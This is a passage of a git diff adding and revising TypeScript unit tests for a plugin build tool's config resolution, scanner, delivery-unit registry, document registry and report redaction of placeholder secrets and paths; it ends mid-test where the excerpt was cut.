当前测试独占且会在 afterEach 清理的工程根目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-core-test-')); temporaryDirectories.push(root); return root; @@ -34,8 +69,10 @@ afterEach(async () => { }); describe('config', () => { - it('normalizes the default targets and directories', async () => { + it('normalizes the default platforms and directories', async () => { + /** 默认配置解析使用的空工程根目录。 */ const root = await temporaryProject(); + /** 使用最小用户配置得到的解析结果。 */ const result = resolveConfig({ name: 'test-plugin', version: '1.0.0', @@ -43,17 +80,19 @@ describe('config', () => { }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); expect(result.diagnostics).toEqual([]); - expect(result.config?.targets).toEqual([ + expect(result.config?.platforms.map(item => ({ id: item.platform.id, strict: item.strict }))).toEqual([ { id: 'claude-code', strict: true }, { id: 'codex', strict: true }, ]); expect(result.config?.srcDir).toBe(path.join(root, 'src')); expect(result.config?.outDir).toBe(path.join(root, 'dist')); - expect(result.config?.displayName).toBe('Test Plugin'); + expect(result.config?.metadata.displayName).toBeUndefined(); }); it('never relaxes structural config failures', async () => { + /** 非法结构配置测试使用的工程根目录。 */ const root = await temporaryProject(); + /** 同时包含元数据、目录和类型错误的配置解析结果。 */ const result = resolveConfig({ name: 'Invalid Name', version: 'nope', @@ -66,14 +105,16 @@ describe('config', () => { }); it('rejects unknown and incorrectly typed nested config fields', async () => { + /** 嵌套字段校验测试使用的工程根目录。 */ const root = await temporaryProject(); + /** 包含未知字段与错误嵌套类型的配置解析结果。 */ const result = resolveConfig({ name: 'test-plugin', version: '1.0.0', description: 'Test plugin.', build: { strict: 'yes', clean: true }, public: { copy: [{ from: 'assets', to: 'assets', transform: 'text' }] }, - targets: [{ id: 'codex', strict: 'yes', compiler: 'custom' }], + platforms: [{ id: 'codex', strict: 'yes', compiler: 'custom' }], extensions: { native: {} }, } as never, path.join(root, 'acplugin.config.ts'), 'build', 'production'); @@ -81,24 +122,34 @@ describe('config', () => { expect(result.diagnostics.map(diagnostic => diagnostic.code)).toEqual(expect.arrayContaining([ 'CONFIG_FIELD_UNKNOWN', 'CONFIG_STRICT_INVALID', - 'CONFIG_TARGET_STRICT_INVALID', + 'CONFIG_PLATFORM_INVALID', + 'CONFIG_EXTENSIONS_INVALID', ])); }); - it('rejects canonical semantics and executable values inside target extensions', async () => { + it('rejects legacy targets and modules with final configuration hints', async () => { + /** 旧配置字段拒绝测试使用的工程根目录。 */ const root = await temporaryProject(); + /** 同时使用 targets 与 modules 的旧配置解析结果。 */ const result = resolveConfig({ name: 'test-plugin', version: '1.0.0', description: 'Test plugin.', - extensions: { codex: { body: 'duplicate prompt', vendor: { loader: () => 'unsafe' } } }, + targets: ['codex'], + modules: [{ name: 'legacy-module' }], } as never, path.join(root, 'acplugin.config.ts'), 'build', 'production'); expect(result.config).toBeUndefined(); - expect(result.diagnostics.filter(diagnostic => diagnostic.code === 'CONFIG_EXTENSION_SEMANTICS')).toHaveLength(2); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CONFIG_LEGACY_TARGETS', hint: 'Use platforms: [claudeCode(), codex()] instead.', + })); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CONFIG_LEGACY_MODULES', hint: 'Use extensions: [hooks(), mcp()] instead.', + })); }); }); describe('canonical scanner', () => { it('discovers components, dependencies, auxiliary files, and Public', async () => { + /** 完整 Scanner 样例工程根目录。 */ const root = await temporaryProject(); await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); @@ -109,8 +160,11 @@ describe('canonical scanner', () => { await fs.writeFile(path.join(root, 'src/commands/check.md'), '---\ndescription: Check a change.\nrequires:\n skills: [review]\n---\nCheck {{arguments}}.\n'); await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Focused reviewer.\nmodel: capable\ncapabilities: [filesystem:read, search]\n---\nReview carefully.\n'); await fs.writeFile(path.join(root, 'public/icon.bin'), new Uint8Array([1, 2, 3])); + /** Scanner 使用的已解析构建配置。 */ const resolved = resolveConfig({ name: 'test-plugin', version: '1.0.0', description: 'Test.' }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); + /** 收集扫描结构问题的诊断容器。 */ const diagnostics = new DiagnosticCollector(); + /** Scanner 产生的规范 PluginProject。 */ const { project } = await scanProject(resolved.config!, diagnostics); expect(diagnostics.diagnostics).toEqual([]); @@ -121,12 +175,15 @@ describe('canonical scanner', () => { }); it('reports a complete dependency cycle', async () => { + /** 循环依赖样例工程根目录。 */ const root = await temporaryProject(); await fs.mkdir(path.join(root, 'src/skills/a'), { recursive: true }); await fs.mkdir(path.join(root, 'src/skills/b'), { recursive: true }); await fs.writeFile(path.join(root, 'src/skills/a/SKILL.md'), '---\ndescription: A.\nrequires:\n skills: [b]\n---\nA body.\n'); await fs.writeFile(path.join(root, 'src/skills/b/SKILL.md'), '---\ndescription: B.\nrequires:\n skills: [a]\n---\nB body.\n'); + /** 循环依赖 Scanner 使用的已解析配置。 */ const resolved = resolveConfig({ name: 'test-plugin', version: '1.0.0', description: 'Test.' }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); + /** 接收完整依赖环诊断的 Collector。 */ const diagnostics = new DiagnosticCollector(); await scanProject(resolved.config!, diagnostics); @@ -136,224 +193,3 @@ describe('canonical scanner', () => { })); }); }); - -describe('Artifact graph', () => { - it('hashes content and rejects case-insensitive collisions', async () => { - const root = await temporaryProject(); - const graph = new ArtifactGraph([root]); - const first = await graph.add('test', { - path: 'Skills/Test.md', - source: { type: 'bytes', value: new TextEncoder().encode('content') }, - }); - - expect(first.sha256).toHaveLength(64); - await expect(graph.add('other', { - path: 'skills/test.md', - source: { type: 'bytes', value: new Uint8Array() }, - })).rejects.toThrow('collision'); - }); -}); - -describe('managed output transaction', () => { - it('preserves the previous complete output at every injected failure phase', async () => { - const phases: ManagedOutputPhase[] = [ - 'lock-acquired', - 'recovery-complete', - 'stage-materialized', - 'stage-validated', - 'transaction-written', - 'backup-created', - 'output-swapped', - ]; - - for (const phase of phases) { - const root = await temporaryProject(); - const outDir = path.join(root, 'dist'); - await fs.mkdir(path.join(outDir, 'codex'), { recursive: true }); - await fs.writeFile(path.join(outDir, 'codex/version.txt'), 'old'); - const graph = new ArtifactGraph([root]); - await graph.add('test', { - path: 'version.txt', - source: { type: 'bytes', value: new TextEncoder().encode('new') }, - }); - - await expect(commitManagedOutput(outDir, new Map([['codex', graph.artifacts]]), { - /** 在指定事务阶段注入失败以验证旧输出恢复。 */ - onPhase(current) { - if (current === phase) - throw new Error(`fail at ${phase}`); - }, - })).rejects.toThrow(`fail at ${phase}`); - - expect(await fs.readFile(path.join(outDir, 'codex/version.txt'), 'utf8')).toBe('old'); - expect((await fs.readdir(root)).filter(name => name.startsWith('.dist.acplugin-'))).toEqual([]); - } - }); - - it('replaces the whole managed target set on success', async () => { - const root = await temporaryProject(); - const outDir = path.join(root, 'dist'); - await fs.mkdir(path.join(outDir, 'stale-target'), { recursive: true }); - await fs.writeFile(path.join(outDir, 'stale-target/file.txt'), 'stale'); - const graph = new ArtifactGraph([root]); - await graph.add('test', { - path: 'version.txt', - source: { type: 'bytes', value: new TextEncoder().encode('new') }, - }); - - await commitManagedOutput(outDir, new Map([['codex', graph.artifacts]])); - - expect(await fs.readFile(path.join(outDir, 'codex/version.txt'), 'utf8')).toBe('new'); - await expect(fs.access(path.join(outDir, 'stale-target'))).rejects.toThrow(); - }); - - it('rejects a file source changed after hashing and preserves the old output', async () => { - const root = await temporaryProject(); - const outDir = path.join(root, 'dist'); - const source = path.join(root, 'source.txt'); - await fs.mkdir(path.join(outDir, 'codex'), { recursive: true }); - await fs.writeFile(path.join(outDir, 'codex/version.txt'), 'old'); - await fs.writeFile(source, 'original'); - const graph = new ArtifactGraph([root]); - await graph.add('test', { path: 'source.txt', source: { type: 'file', path: source } }); - await fs.writeFile(source, 'changed-after-hash'); - - await expect(commitManagedOutput(outDir, new Map([['codex', graph.artifacts]]))).rejects.toThrow('integrity mismatch'); - expect(await fs.readFile(path.join(outDir, 'codex/version.txt'), 'utf8')).toBe('old'); - }); -}); - -describe('Module lifecycle', () => { - it('uses dependency order and always cleans up in reverse order', async () => { - const root = await temporaryProject(); - const events: string[] = []; - const first: AcpluginModule = { - name: 'first', - /** 记录第一个 Module 的配置阶段。 */ - configResolved() { events.push('first:config'); }, - /** 产生供依赖方读取的 discover 状态。 */ - discover() { - events.push('first:discover'); - return 'first-state'; - }, - /** 记录第一个 Module 的验证阶段。 */ - validate() { events.push('first:validate'); }, - /** 产生供依赖方 generate 阶段读取的构建状态。 */ - build() { - events.push('first:build'); - return 'first-built'; - }, - /** 记录第一个 Module 的目标生成阶段。 */ - generate() { events.push('first:generate'); }, - /** 验证依赖方清理失败会作为 error 传递给依赖。 */ - buildEnd(context) { - events.push(context.error ? 'first:end:error' : 'first:end'); - }, - }; - const second: AcpluginModule = { - name: 'second', - dependsOn: ['first'], - /** 记录依赖 Module 的配置阶段。 */ - configResolved() { events.push('second:config'); }, - /** 验证 discover 阶段可读取直接依赖状态。 */ - discover(context) { - events.push(`second:discover:${String(context.dependencyState.get('first'))}`); - return 'second-state'; - }, - /** 记录依赖 Module 的验证阶段。 */ - validate() { events.push('second:validate'); }, - /** 验证 build 阶段仍可读取 discover 依赖状态。 */ - build(context) { - events.push(`second:build:${String(context.dependencyState.get('first'))}`); - return 'second-built'; - }, - /** 验证 generate 阶段可读取依赖的 builtState。 */ - generate(context) { - events.push(`second:generate:${String(context.dependencyBuiltState.get('first'))}`); - }, - /** 注入清理失败并验证逆序传播。 */ - buildEnd() { - events.push('second:end'); - throw new Error('cleanup failed'); - }, - }; - const compiler: Compiler = { - id: 'codex', - /** 记录 Compiler 位于 Module generate 之后。 */ - compile() { - events.push('compiler'); - return { artifacts: [bytesArtifact('manifest.json', '{}\n')], compatibility: [] }; - }, - }; - const resolved = resolveConfig({ - name: 'lifecycle-plugin', - version: '1.0.0', - description: 'Lifecycle fixture.', - targets: ['codex'], - modules: [second, first], - }, path.join(root, 'acplugin.config.ts'), 'inspect', 'production'); - - const result = await buildProject({ - config: resolved.config!, - compilers: new Map([['codex', compiler]]), - loadTypeScriptModule: async () => undefined, - commit: false, - }); - - expect(events).toEqual([ - 'first:config', 'second:config', - 'first:discover', 'second:discover:first-state', - 'first:validate', 'second:validate', - 'first:build', 'second:build:first-state', - 'first:generate', 'second:generate:first-built', - 'compiler', - 'second:end', 'first:end:error', - ]); - expect(result.report.success).toBe(false); - expect(result.report.diagnostics).toContainEqual(expect.objectContaining({ - code: 'MODULE_BUILD_END_FAILED', - module: 'second', - })); - }); - - it('does not commit when buildEnd fails and redacts untrusted Module errors', async () => { - const root = await temporaryProject(); - const outDir = path.join(root, 'dist'); - await fs.mkdir(path.join(outDir, 'codex'), { recursive: true }); - await fs.writeFile(path.join(outDir, 'codex/version.txt'), 'old'); - const module: AcpluginModule = { - name: 'unsafe-module', - /** 使用空状态进入后续生命周期。 */ - discover() { - return undefined; - }, - /** 注入同时包含凭据和本机路径的清理异常。 */ - buildEnd() { - throw new Error(`Bearer top-secret ${path.join(root, 'private.txt')}`); - }, - }; - const compiler: Compiler = { - id: 'codex', - /** 提供足以触发真实提交事务的最小 Artifact。 */ - compile() { - return { artifacts: [bytesArtifact('manifest.json', '{}\n')], compatibility: [] }; - }, - }; - const resolved = resolveConfig({ - name: 'cleanup-plugin', version: '1.0.0', description: 'Cleanup fixture.', - targets: ['codex'], modules: [module], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - - const result = await buildProject({ - config: resolved.config!, - compilers: new Map([['codex', compiler]]), - loadTypeScriptModule: async () => undefined, - commit: true, - }); - - expect(result.report).toMatchObject({ success: false, committed: false }); - expect(JSON.stringify(result.report)).not.toContain('top-secret'); - expect(JSON.stringify(result.report)).not.toContain(root); - expect(await fs.readFile(path.join(outDir, 'codex/version.txt'), 'utf8')).toBe('old'); - }); -}); diff --git a/packages/core/test/delivery-units.test.ts b/packages/core/test/delivery-units.test.ts new file mode 100644 index 0000000..b9fb2a4 --- /dev/null +++ b/packages/core/test/delivery-units.test.ts @@ -0,0 +1,181 @@ +import { describe, expect, it } from 'vitest'; +import { + ArtifactRegistry, + bytesArtifact, + definePlatform, + DeliveryUnitRegistry, + type PlatformId, +} from '../src/index.js'; + +/** + * 创建 DeliveryUnit 测试所需的品牌化 Platform ID。 + * + * @param id 开放 Platform ID。 + * @returns Core 工厂创建的 PlatformId。 + */ +function platformId(id: string): PlatformId { + return definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + /** 单元 Registry 测试不准备真实 Draft。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** 单元 Registry 测试直接调用 Registry.add。 */ + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + /** 单元 Registry 测试不物化候选目录。 */ + validateBundle: () => undefined, + }).id; +} + +/** 两个独立 Platform 用于验证 tuple 唯一性范围。 */ +const CODEX = platformId('codex'); +/** 第二个平台允许复用相同单元 ID。 */ +const CLAUDE = platformId('claude-code'); + +describe('DeliveryUnit Registry', () => { + it('creates stable units with Platform-owned Artifact metadata', async () => { + /** 当前构建全局共享的单元 Registry。 */ + const registry = new DeliveryUnitRegistry(new Map()); + /** Codex 主 Plugin 单元。 */ + const unit = await registry.add(CODEX, { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [bytesArtifact('manifest.json', '{}')], + }); + /** Claude Code 可以使用相同 unit-id,因为 Platform ID 不同。 */ + await registry.add(CLAUDE, { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [bytesArtifact('plugin.json', '{}')], + }); + + expect(unit.artifacts[0]).toEqual(expect.objectContaining({ owner: 'platform:codex', size: 2, mode: 0o644 })); + expect(registry.snapshot().map(item => `${item.platform}/${item.id}`)).toEqual([ + 'claude-code/plugin', + 'codex/plugin', + ]); + expect(Object.isFrozen(registry.snapshot())).toBe(true); + expect(Object.isFrozen(unit)).toBe(true); + }); + + it('rejects duplicate tuple keys before processing another unit', async () => { + /** 已含 Codex plugin 单元的 Registry。 */ + const registry = new DeliveryUnitRegistry(new Map()); + await registry.add(CODEX, { id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }); + + await expect(registry.add(CODEX, { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [bytesArtifact('../would-not-be-read', 'bad')], + })).rejects.toThrow('Duplicate DeliveryUnit'); + expect(registry.snapshot()).toHaveLength(1); + }); + + it('rejects unit-internal path conflicts before registering the unit', async () => { + /** 空 Registry 不应保留构建失败的部分单元。 */ + const registry = new DeliveryUnitRegistry(new Map()); + await expect(registry.add(CODEX, { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [ + bytesArtifact('Skills/Review.md', 'first'), + bytesArtifact('skills/review.md', 'second'), + ], + })).rejects.toThrow('collision'); + expect(registry.snapshot()).toEqual([]); + }); + + it('enforces primary and Marketplace distribution role contracts', async () => { + /** 角色与类型组合验证使用的独立 Registry。 */ + const registry = new DeliveryUnitRegistry(new Map()); + await expect(registry.add(CODEX, { + id: 'marketplace', role: 'primary', type: 'marketplace', artifacts: [], + })).rejects.toThrow('primary'); + await expect(registry.add(CODEX, { + id: 'archive', role: 'distribution', type: 'plugin', artifacts: [], + })).rejects.toThrow('distribution'); + /** 唯一支持的 1.0 Distribution 组合。 */ + const marketplace = await registry.add(CODEX, { + id: 'marketplace', role: 'distribution', type: 'marketplace', artifacts: [], + }); + expect(marketplace.role).toBe('distribution'); + }); + + it('preserves primary Artifact ownership and metadata when a Distribution reuses it', async () => { + /** 主单元与 Distribution 共用的 Registry。 */ + const registry = new DeliveryUnitRegistry(new Map()); + /** 带显式可执行权限的 Platform 主单元。 */ + const primary = await registry.add(CODEX, { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [{ ...bytesArtifact('bin/runner', 'run'), mode: 0o755 }], + }); + /** 使用主单元 Artifact 作为继承边界的 Marketplace Distribution。 */ + const distribution = await registry.add(CODEX, { + id: 'marketplace', + role: 'distribution', + type: 'marketplace', + artifacts: primary.artifacts, + }, primary.artifacts); + + expect(distribution.artifacts[0]).toEqual(expect.objectContaining({ + owner: primary.artifacts[0]!.owner, + mode: primary.artifacts[0]!.mode, + size: primary.artifacts[0]!.size, + sha256: primary.artifacts[0]!.sha256, + })); + }); + + it('preserves an inherited Extension owner after relocation without trusting spoofed metadata', async () => { + /** 模拟 Draft 阶段按 owner 隔离并冻结的 Artifact Registry。 */ + const draftArtifacts = new ArtifactRegistry(new Map()); + /** Extension 生成且需要由 Platform 原样编排进 Distribution 的可执行文件。 */ + const inherited = await draftArtifacts.add( + 'extension:bundle-assets', + { ...bytesArtifact('assets/runner', 'run'), mode: 0o755 }, + ); + /** Marketplace Distribution 使用的独立 DeliveryUnit Registry。 */ + const registry = new DeliveryUnitRegistry(new Map()); + /** 使用同一冻结 source、但移动到 Distribution 子目录的可信 Artifact 输入。 */ + const relocated = { + path: 'plugins/plugin-alpha/assets/runner', + source: inherited.source, + mode: inherited.mode, + }; + /** + * 即使输入伪造了 owner、hash 与 size,只要 source 不是 Core 冻结的继承对象, + * DeliveryUnit 就必须重新计算元数据并把产物归属当前 Platform。 + */ + const spoofed = { + ...inherited, + path: 'plugins/plugin-alpha/assets/spoofed-runner', + source: bytesArtifact('unused', 'changed').source, + }; + /** 只有显式传入 inheritedArtifacts 且 source 身份相同的重定位内容才能继承 owner。 */ + const distribution = await registry.add(CODEX, { + id: 'marketplace', + role: 'distribution', + type: 'marketplace', + artifacts: [relocated, spoofed], + }, [inherited]); + + expect(distribution.artifacts[0]).toEqual(expect.objectContaining({ + path: 'plugins/plugin-alpha/assets/runner', + owner: 'extension:bundle-assets', + mode: inherited.mode, + size: inherited.size, + sha256: inherited.sha256, + })); + expect(distribution.artifacts[1]).toEqual(expect.objectContaining({ + path: 'plugins/plugin-alpha/assets/spoofed-runner', + owner: 'platform:codex', + size: 7, + })); + expect(distribution.artifacts[1]!.sha256).not.toBe(inherited.sha256); + }); +}); diff --git a/packages/core/test/diagnostics.test.ts b/packages/core/test/diagnostics.test.ts new file mode 100644 index 0000000..42e65e0 --- /dev/null +++ b/packages/core/test/diagnostics.test.ts @@ -0,0 +1,213 @@ +import { describe, expect, it } from 'vitest'; +import { + createBuildResult, + DiagnosticCollector, + internalPlatformId, + redactReportValue, + serializeBuildResult, + type BuildResultInput, +} from '../src/index.js'; + +/** 确定性报告测试共用的 Codex PlatformId。 */ +const CODEX_PLATFORM = internalPlatformId('codex'); +/** 确定性报告测试共用的 Claude Code PlatformId。 */ +const CLAUDE_PLATFORM = internalPlatformId('claude-code'); + +/** + * 使用指定发现顺序创建语义相同的 BuildResult 输入。 + * + * @param reversed 是否反转全部无业务顺序的集合。 + * @returns 可验证稳定 serializer 的报告输入。 + */ +function reportInput(reversed: boolean): BuildResultInput { + /** 进入报告前已经过 Collector 清理的诊断。 */ + const diagnostics = new DiagnosticCollector(); + /** 两条诊断使用相反加入顺序验证最终排序。 */ + const diagnosticItems = [ + { code: 'Z_WARNING', severity: 'warning' as const, message: 'Later.', phase: 'validate', platform: CODEX_PLATFORM }, + { code: 'A_WARNING', severity: 'warning' as const, message: 'Earlier.', phase: 'validate', platform: CLAUDE_PLATFORM }, + ]; + for (const diagnostic of reversed ? [...diagnosticItems].reverse() : diagnosticItems) + diagnostics.add(diagnostic); + /** 两个交付单元故意按可变发现顺序提供。 */ + const deliveryUnits: BuildResultInput['deliveryUnits'] = [ + { + platform: CODEX_PLATFORM, + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [ + { path: 'skills/z/SKILL.md', owner: 'platform:codex', mode: 0o644, size: 2, sha256: 'b'.repeat(64) }, + { path: 'manifest.json', owner: 'platform:codex', mode: 0o644, size: 1, sha256: 'a'.repeat(64) }, + ], + }, + { + platform: CLAUDE_PLATFORM, + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [], + }, + ]; + /** Platform 详情使用相反顺序验证报告排序。 */ + const platformDetails: BuildResultInput['platformDetails'] = [ + { id: CODEX_PLATFORM, apiVersion: '1', deliveryType: 'plugin', strict: true }, + { id: CLAUDE_PLATFORM, apiVersion: '1', deliveryType: 'plugin', strict: true }, + ]; + /** Component 摘要使用相反顺序验证种类与 ID 排序。 */ + const components: BuildResultInput['components'] = [ + { kind: 'skill', id: 'z' }, + { kind: 'command', id: 'a' }, + ]; + /** Extension 摘要使用相反顺序验证名称排序。 */ + const extensions: BuildResultInput['extensions'] = [ + { name: 'z-extension', apiVersion: '1', hasResources: true }, + { name: 'a-extension', apiVersion: '1', hasResources: false }, + ]; + /** Document 摘要使用相反顺序验证 Platform 与逻辑 ID 排序。 */ + const documents: BuildResultInput['documents'] = [ + { platform: CODEX_PLATFORM, id: 'z', path: 'z.json', format: 'json', owner: 'platform:codex' }, + { platform: CLAUDE_PLATFORM, id: 'a', path: 'a.json', format: 'json', owner: 'platform:claude-code' }, + ]; + /** 两条兼容性结论用于验证 Platform 与 Subject 排序。 */ + const compatibility: BuildResultInput['compatibility'] = [ + { platform: CODEX_PLATFORM, subject: 'skill:z', capability: 'component', level: 'native', reason: 'Supported.' }, + { platform: CLAUDE_PLATFORM, subject: 'skill:a', capability: 'component', level: 'native', reason: 'Supported.' }, + ]; + /** 两条元数据去向用于验证字段排序。 */ + const metadata: BuildResultInput['metadata'] = [ + { platform: CODEX_PLATFORM, field: 'version', disposition: 'emitted', output: 'manifest.version', reason: 'Supported.' }, + { platform: CLAUDE_PLATFORM, field: 'name', disposition: 'emitted', output: 'manifest.name', reason: 'Supported.' }, + ]; + return { + command: 'inspect', + success: true, + committed: false, + platforms: reversed ? [CODEX_PLATFORM, CLAUDE_PLATFORM] : [CLAUDE_PLATFORM, CODEX_PLATFORM], + platformDetails: reversed ? [...platformDetails].reverse() : platformDetails, + components: reversed ? [...components].reverse() : components, + extensions: reversed ? [...extensions].reverse() : extensions, + documents: reversed ? [...documents].reverse() : documents, + deliveryUnits: reversed ? [...deliveryUnits].reverse() : deliveryUnits, + diagnostics: diagnostics.diagnostics, + compatibility: reversed ? [...compatibility].reverse() : compatibility, + metadata: reversed ? [...metadata].reverse() : metadata, + }; +} + +describe('stable BuildResult report', () => { + it('produces byte-identical single-document JSON for different discovery orders', () => { + /** 正向发现顺序产生的 JSON。 */ + const first = serializeBuildResult(createBuildResult(reportInput(false)), { environment: {} }); + /** 反向发现顺序产生的 JSON。 */ + const second = serializeBuildResult(createBuildResult(reportInput(true)), { environment: {} }); + + expect(first).toBe(second); + expect(first.endsWith('\n')).toBe(true); + expect(JSON.parse(first)).toMatchObject({ schemaVersion: '1', command: 'inspect', success: true }); + }); + + it('contains no timestamp, absolute path, credential, environment value, or Artifact bytes', () => { + /** 以可疑 owner 和路径验证最终 serializer 的恶意报告。 */ + const result = createBuildResult({ + command: 'build', + success: false, + committed: false, + platforms: [CODEX_PLATFORM], + platformDetails: [], + components: [], + extensions: [], + documents: [], + deliveryUnits: [{ + platform: CODEX_PLATFORM, + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [{ + path: '/Users/example/private/artifact.json', + owner: 'Bearer report-secret', + mode: 0o644, + size: 4, + sha256: 'a'.repeat(64), + }], + }], + diagnostics: [], + compatibility: [], + metadata: [], + }); + /** 使用显式环境值执行深度脱敏后的 JSON。 */ + const json = serializeBuildResult(result, { environment: { REPORT_TOKEN: 'report-secret' } }); + + expect(json).not.toContain('/Users/example'); + expect(json).not.toContain('report-secret'); + expect(json).not.toContain('timestamp'); + expect(json).not.toContain('Uint8Array'); + expect(json).toContain(''); + }); + + it('redacts custom environment secrets from the programmatic BuildResult itself', () => { + /** 进入所有自由文本报告字段的自定义环境 Secret。 */ + const secret = 'programmatic-secret-value'; + /** 尚未经过 JSON serializer 的公开程序化构建结果。 */ + const result = createBuildResult({ + ...reportInput(false), + diagnostics: [{ + code: 'SECRET_WARNING', + severity: 'warning', + message: `Diagnostic contains ${secret}.`, + phase: 'validate', + hint: `Do not expose ${secret}.`, + }], + compatibility: [{ + platform: CODEX_PLATFORM, + subject: 'skill:secret', + capability: 'component', + level: 'degraded', + reason: `Compatibility contains ${secret}.`, + }], + metadata: [{ + platform: CODEX_PLATFORM, + field: 'description', + disposition: 'omitted', + reason: `Metadata contains ${secret}.`, + }], + }, { environment: { CUSTOM_SECRET: secret } }); + /** 直接 stringify 用于证明调用方无需经过 serializeBuildResult 才获得安全结果。 */ + const programmaticJson = JSON.stringify(result); + + expect(programmaticJson).not.toContain(secret); + expect(programmaticJson).toContain(''); + }); +}); + +describe('arbitrary value redaction', () => { + it('preserves safe relative Artifact paths while redacting absolute paths', () => { + expect(redactReportValue('extensions/bridge.txt')).toBe('extensions/bridge.txt'); + expect(redactReportValue('/private/project/extensions/bridge.txt')).toBe(''); + }); + + it('removes secret fields, functions, bytes, cycles, temporary roots, and environment values', () => { + /** 带循环、函数、字节和 Secret 的不可信任意对象。 */ + const unsafe: Record = { + apiToken: 'top-secret', + /** callback 提供当前对象协议要求的回调实现。 */ callback: () => 'unsafe', + bytes: new Uint8Array([1, 2, 3]), + message: 'value env-secret at /private/root/.acplugin-work-123/cache', + }; + unsafe.self = unsafe; + /** 递归脱敏后的普通对象快照。 */ + const safe = redactReportValue(unsafe, { + roots: ['/private/root'], + environment: { FIXTURE_SECRET: 'env-secret' }, + }); + /** 稳定字符串形式便于断言原始敏感数据全部消失。 */ + const json = JSON.stringify(safe); + + expect(json).not.toContain('top-secret'); + expect(json).not.toContain('env-secret'); + expect(json).not.toContain('/private/root'); + expect(json).toContain(''); + expect(json).toContain(''); + expect(json).toContain(''); + }); +}); diff --git a/packages/core/test/documents.test.ts b/packages/core/test/documents.test.ts new file mode 100644 index 0000000..63d1693 --- /dev/null +++ b/packages/core/test/documents.test.ts @@ -0,0 +1,134 @@ +import { describe, expect, it } from 'vitest'; +import { + bytesArtifact, + definePlatform, + DocumentRegistry, + PlatformDraftRegistry, + type DraftDocument, + type PlatformId, +} from '../src/index.js'; + +/** + * 创建测试可用的品牌化 Platform ID。 + * + * @param id 开放 Platform ID。 + * @returns 只能由 Core 工厂生成的 PlatformId。 + */ +function platformId(id: string): PlatformId { + return definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + /** Document 测试不执行 Platform prepare。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** Document 测试不生成 DeliveryUnit。 */ + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + /** Document 测试不物化候选目录。 */ + validateBundle: () => undefined, + }).id; +} + +/** Document Registry 测试统一使用的 Platform ID。 */ +const TEST_PLATFORM = platformId('test-platform'); + +/** @returns 带两个精确空扩展点的 Manifest Document。 */ +function manifestDocument(): DraftDocument { + return { + id: 'manifest', + path: 'plugin.json', + format: 'json', + owner: 'platform:test-platform', + value: { config: {} }, + extensionPoints: [['config', 'hooks'], ['config', 'mcp']], + }; +} + +describe('Document Registry', () => { + it('applies exact add-only patches and exposes immutable owner-merged snapshots', () => { + /** 接管 Platform 初始 Manifest 的 Registry。 */ + const registry = new DocumentRegistry(TEST_PLATFORM, [manifestDocument()]); + registry.patchDocument('extension:hooks', { + document: 'manifest', + path: ['config', 'hooks'], + value: { events: ['before-tool'] }, + }); + /** 完成 Extension 合并后的逻辑 Document 快照。 */ + const snapshot = registry.snapshot(); + + expect(registry.getDocument('manifest')).toEqual({ config: { hooks: { events: ['before-tool'] } } }); + expect(snapshot).toEqual([expect.objectContaining({ + id: 'manifest', + owner: 'platform:test-platform', + value: { config: { hooks: { events: ['before-tool'] } } }, + })]); + expect(Object.isFrozen(snapshot)).toBe(true); + expect(Object.isFrozen(snapshot[0]!.value)).toBe(true); + expect(Object.isFrozen((snapshot[0]!.value as { config: object }).config)).toBe(true); + }); + + it('rejects undeclared points, replacement, duplicate owners, and pre-filled extension points', () => { + /** 仍具有两个空位的初始 Registry。 */ + const registry = new DocumentRegistry(TEST_PLATFORM, [manifestDocument()]); + registry.patchDocument('extension:hooks', { + document: 'manifest', + path: ['config', 'hooks'], + value: { enabled: true }, + }); + + expect(() => registry.patchDocument('extension:other', { + document: 'manifest', path: ['config', 'hooks'], value: { enabled: false }, + })).toThrow('already owned'); + expect(() => registry.patchDocument('extension:other', { + document: 'manifest', path: ['config', 'unknown'], value: true, + })).toThrow('does not declare'); + /** Platform 预填值与 Extension add-only 所有权冲突。 */ + const occupied: DraftDocument = { + ...manifestDocument(), + value: { config: { hooks: {} } }, + extensionPoints: [['config', 'hooks']], + }; + expect(() => new DocumentRegistry(TEST_PLATFORM, [occupied])).toThrow('empty field'); + }); + + it('rejects duplicate logical IDs and physical path collisions', () => { + /** 与 Manifest 只在逻辑 ID 不同的重复文档。 */ + const duplicateId = { ...manifestDocument(), path: 'other.json' }; + expect(() => new DocumentRegistry(TEST_PLATFORM, [manifestDocument(), duplicateId])).toThrow('Duplicate Document id'); + /** 与 Manifest 只在大小写上不同的物理路径。 */ + const pathCollision: DraftDocument = { + ...manifestDocument(), id: 'secondary', path: 'PLUGIN.json', extensionPoints: [], + }; + expect(() => new DocumentRegistry(TEST_PLATFORM, [manifestDocument(), pathCollision])).toThrow('collision'); + }); + + it('shares path ownership between Documents and Adapter Artifacts', async () => { + /** Document 已占用 plugin.json 的完整 Platform Draft。 */ + const registry = await PlatformDraftRegistry.create(TEST_PLATFORM, { + documents: [manifestDocument()], + artifacts: [bytesArtifact('README.md', 'readme')], + }, new Map()); + + await expect(registry.emitArtifact('extension:hooks', bytesArtifact('PLUGIN.json', 'conflict'))).rejects.toThrow('collision'); + /** 不冲突的 Extension Artifact 带有自己的 owner。 */ + const 